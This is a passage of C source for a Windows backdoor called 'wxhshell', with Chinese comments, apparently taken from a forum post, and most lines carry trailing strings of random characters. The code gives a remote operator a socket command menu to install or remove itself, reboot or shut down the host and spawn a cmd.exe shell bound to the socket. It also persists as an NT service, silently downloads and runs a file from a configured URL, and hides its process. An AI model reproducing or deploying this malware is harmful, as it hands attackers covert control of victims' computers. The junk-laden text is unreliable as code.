  else |HT5G=dw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6uNWL `v  
  }  .7GTL  
  else { V{qpha4'P  
fXo$1!  
    switch(cmd[0]) { = Ob-'Syg>  
  Y)V)g9  
  // 帮助 tk]>\}%  
  case '?': { !>E$2}Q|]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mz-sazgV  
    break; Pk2=*{:W  
  } T?lp:~d  
  // 安装 N [qNSo|  
  case 'i': { G;jX@XqZ  
    if(Install()) CdZS"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uV=ZGr#o  
    else b8FSVV 7@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lf`" (:./  
    break; g#*LJ `1  
    } ~DJILc  
  // 卸载 lGhhH _  
  case 'r': { NflwmMJ  
    if(Uninstall()) 7!;48\O]w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4$J.6M  
    else }uFV\1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u2o196,Ut  
    break; ;{j@ia  
    } O\X=vh/D  
  // 显示 wxhshell 所在路径 r]3v.GZy  
  case 'p': { P*!~Z *"  
    char svExeFile[MAX_PATH]; 8-5g6qAS  
    strcpy(svExeFile,"\n\r"); !n^7&Y[N;  
      strcat(svExeFile,ExeFile); nN'>>'@>  
        send(wsh,svExeFile,strlen(svExeFile),0); x'iBEm  
    break; JTcE{i  
    } $ ?*XPzZ  
  // 重启 Q$^)z_jai  
  case 'b': { -n"7G%$M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w678  
    if(Boot(REBOOT))  ?QRoSQ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XjFaP {  
    else { 4(mRLr%l@`  
    closesocket(wsh); w,zm$s^  
    ExitThread(0); pY$DOr- r`  
    } 2J&J  
    break; 9i`MUE1Sh  
    } nd)`G$gL  
  // 关机 jBr3Ay@<  
  case 'd': { .22}= z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'GF<_3I2l  
    if(Boot(SHUTDOWN)) BK 9+fO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dF+R q|n{  
    else { undH{w=  
    closesocket(wsh); YgLHp/  
    ExitThread(0); GswV/V+u  
    } _]Y9Eoz  
    break; =<.h.n  
    } f>[!Zi*  
  // 获取shell '>Uip+'  
  case 's': { 5?HoCz]l  
    CmdShell(wsh); zlhU[J}"1|  
    closesocket(wsh); i*6 1i0  
    ExitThread(0); Tqm)-|[  
    break; lEC91:Jyt  
  } Ih_=yk  
  // 退出 )YPu t.  
  case 'x': { jmr1e).];  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +5N09$f;R  
    CloseIt(wsh); 1Gp| _8  
    break; 5e >qBw8t  
    } MT^krv(G  
  // 离开 #@Rtb\9  
  case 'q': { xlm:erP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^K?Mq1"Db  
    closesocket(wsh); +nKf ^rG  
    WSACleanup(); JQ<9~J  
    exit(1); Senb_?  
    break; +GlG.6  
        } l~#%j( Yo  
  } '-[?iF@l  
  } t}fU 2Yb  
G|LcTV  
  // 提示信息 E>&oe&`o'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); en8l:INX  
} AkX8v66:  
  } NGAjajB  
3h4'DQ.g  
  return; :rnj>U6<>  
} s}Q*zy  
2 X`5YN;  
// shell模块句柄 TIVrbO\!o  
int CmdShell(SOCKET sock) nA.~}  
{ F2C v,&'  
STARTUPINFO si; qVr?st  
ZeroMemory(&si,sizeof(si)); KF f6um  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3.V-r59  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QvDD   
PROCESS_INFORMATION ProcessInfo; 9D H}6fO  
char cmdline[]="cmd"; Vbp`Rm1?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [' cq  
  return 0; (k<__W c_t  
} Qe4"a*l-r  
"a]Ff&T-  
// 自身启动模式 1J[|Ow  
int StartFromService(void) 9RnXp&w  
{ A>Xt 5vk+  
typedef struct `cpUl*Y=  
{ 11BfJvs:  
  DWORD ExitStatus; o WcBQ|   
  DWORD PebBaseAddress; ;0Mg\~T~'  
  DWORD AffinityMask; > m##JzWLr  
  DWORD BasePriority; 1'YksuYx6f  
  ULONG UniqueProcessId; f4lC*nCN  
  ULONG InheritedFromUniqueProcessId; (db4.G+0  
}   PROCESS_BASIC_INFORMATION; 7gP8K`w?[  
t(\P8J  
PROCNTQSIP NtQueryInformationProcess; ~,O}wT6q  
&/{x7;e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1ZRSeh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ['\ u?m  
PP!} w  
  HANDLE             hProcess; r  |JZU  
  PROCESS_BASIC_INFORMATION pbi; RtScv  
BV512+M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p'YNj3&u  
  if(NULL == hInst ) return 0; z]0UW\S/  
F'3-*>]P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ca?;!~%zA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O K2|/y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <"}WpT  
3`> nQ4zC  
  if (!NtQueryInformationProcess) return 0; _sI\^yZd  
YfUUbV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Wmio\  
  if(!hProcess) return 0; \ 0aa0=  
Q\{$&0McF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a!*K)x,"<  
1xt N3{c  
  CloseHandle(hProcess); <|c[ #f  
r^$WX@ t&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $ZfoJR]%  
if(hProcess==NULL) return 0; RMO6kbfP  
%N0cp@Vz  
HMODULE hMod; 0Lki (  
char procName[255]; Wz-7oP%;I  
unsigned long cbNeeded; B4ky%gF4  
E@D}Sqt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q3$;lLsb;j  
wwh)B92Y5  
  CloseHandle(hProcess); e= w.7DSE  
TP?HxO_C  
if(strstr(procName,"services")) return 1; // 以服务启动 N cnL-k.  
23Juu V.  
  return 0; // 注册表启动 mZb[Fi  
} z\r|5Z  
*u?N{LkqS  
// 主模块 [I4&E >  
int StartWxhshell(LPSTR lpCmdLine) c&u~M=EW  
{ J<=k [Q  
  SOCKET wsl; iJem9XXb  
BOOL val=TRUE; z{ydP Ra  
  int port=0; v %GcNjZk5  
  struct sockaddr_in door; `Wy8g?d;bn  
6<+8[o  
  if(wscfg.ws_autoins) Install(); (N`x  
H_+F~P5RC  
port=atoi(lpCmdLine); .~ yz1^ c  
[sweN]b6F  
if(port<=0) port=wscfg.ws_port; *d;D~"E<@  
}~3 %KHT  
  WSADATA data; R8YA"(j!L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h!UB#-  
L2m~ GnP|?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u=9)A9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a<ztA:xt|1  
  door.sin_family = AF_INET; +\@WOs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yHt `kb2  
  door.sin_port = htons(port); O]N 8Q H  
~Y /55uC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1E|~;wo\  
closesocket(wsl); rP7~ R  
return 1; ! fSM6Vo  
} Bq)aA)gF  
d:1TSJff%/  
  if(listen(wsl,2) == INVALID_SOCKET) { Nw=mSW^E  
closesocket(wsl); 2E d  
return 1; X__>r ?oJ  
} + ZxG<1&  
  Wxhshell(wsl); x0dO ^D  
  WSACleanup(); Nq=r404  
#}U*gVYe  
return 0; ^lYa9k  
yk7l{F  
} Bk9? =  
XP'7+/A  
// 以NT服务方式启动 56Gc[<nR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ("$ ,FRTQ:  
{ mFu0$N6]H  
DWORD   status = 0; iQnIk| 8  
  DWORD   specificError = 0xfffffff; 0nV|(M0lu?  
sHi *\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `OWw<6`k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U)g2 7*7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;mYj`/Yj  
  serviceStatus.dwWin32ExitCode     = 0;  >!7\Rx  
  serviceStatus.dwServiceSpecificExitCode = 0; J SOgq/\  
  serviceStatus.dwCheckPoint       = 0; />E:}1}{  
  serviceStatus.dwWaitHint       = 0; Wu9))Ir  
E8Q Y6gKF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k yI-nE  
  if (hServiceStatusHandle==0) return; Rh.CnCbM  
5,n{-V  
status = GetLastError(); :Kt'Fm,s?  
  if (status!=NO_ERROR) hB:}0@l6p=  
{ 9V5d=^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K)d]3V!  
    serviceStatus.dwCheckPoint       = 0; <R>%DD=v^  
    serviceStatus.dwWaitHint       = 0; uh_ 2yw_  
    serviceStatus.dwWin32ExitCode     = status; x!@P|c1nKC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y']D_\y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = rLL5<  
    return; 6rD Oa~<B  
  } [O52Bn  
4`Z8EV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |-SImxV  
  serviceStatus.dwCheckPoint       = 0; -Bl !s^-'  
  serviceStatus.dwWaitHint       = 0; *U69rbYI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KnjowK  
} Xzp!X({   
vuCl(/P`  
// 处理NT服务事件,比如:启动、停止 Zg#VZg1 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h72#AN  
{ 78[5@U  
switch(fdwControl) 0nbQKoF  
{ Qso"jYl<  
case SERVICE_CONTROL_STOP: hn@T ]k  
  serviceStatus.dwWin32ExitCode = 0; D ^~G(m;-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yd-Kg zm8n  
  serviceStatus.dwCheckPoint   = 0; 8^FAeV#  
  serviceStatus.dwWaitHint     = 0; F3L'f2yBG  
  { #& 5}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M((]> *g  
  } }#h>*+Q  
  return; h *JzJ0X  
case SERVICE_CONTROL_PAUSE: />,Tq!i\4}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SpB\kC"K  
  break; =Hs[peO*  
case SERVICE_CONTROL_CONTINUE: s/"?P/R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !y{t}|U/d  
  break; '"/Yk=EmlU  
case SERVICE_CONTROL_INTERROGATE: @\|W#,~  
  break; )GpH5N'EI  
}; =/b WS,=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;Lk 'Ky6  
} j$z<wR7j0  
'.mHx#?7  
// 标准应用程序主函数 V>YZ^>oeH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ym WVb  
{ Y,%d_yR[  
gPu0j4&-  
// 获取操作系统版本 JXBTd=r_oM  
OsIsNt=GetOsVer(); #cRw0bn:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7oK7f=*Q  
:+m8~n$/  
  // 从命令行安装 )O~V3a  
  if(strpbrk(lpCmdLine,"iI")) Install(); \z4I'"MC.9  
@@O=a  
  // 下载执行文件 MzY~-74aF  
if(wscfg.ws_downexe) { .-Xp]>f,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'K9{xI@N  
  WinExec(wscfg.ws_filenam,SW_HIDE); 69o,T`B  
} ~baVS-v  
APC,p,"  
if(!OsIsNt) { BV8-\R@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?1G7=R  
HideProc(); 79?%g=#=  
StartWxhshell(lpCmdLine); lhk[U!>#  
} .|pyloL.  
else u6,NQ^4  
  if(StartFromService()) I,:R~^qJ8v  
  // 以服务方式启动 @DYxDap{  
  StartServiceCtrlDispatcher(DispatchTable); EPZ^I)  
else FccT@ ,.F  
  // 普通方式启动 .K n)sD1  
  StartWxhshell(lpCmdLine); D]s8w  
x'.OLXx>  
return 0; z`^DQ8+\j  
}
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只看该作者 1 发表于: 2006-10-10
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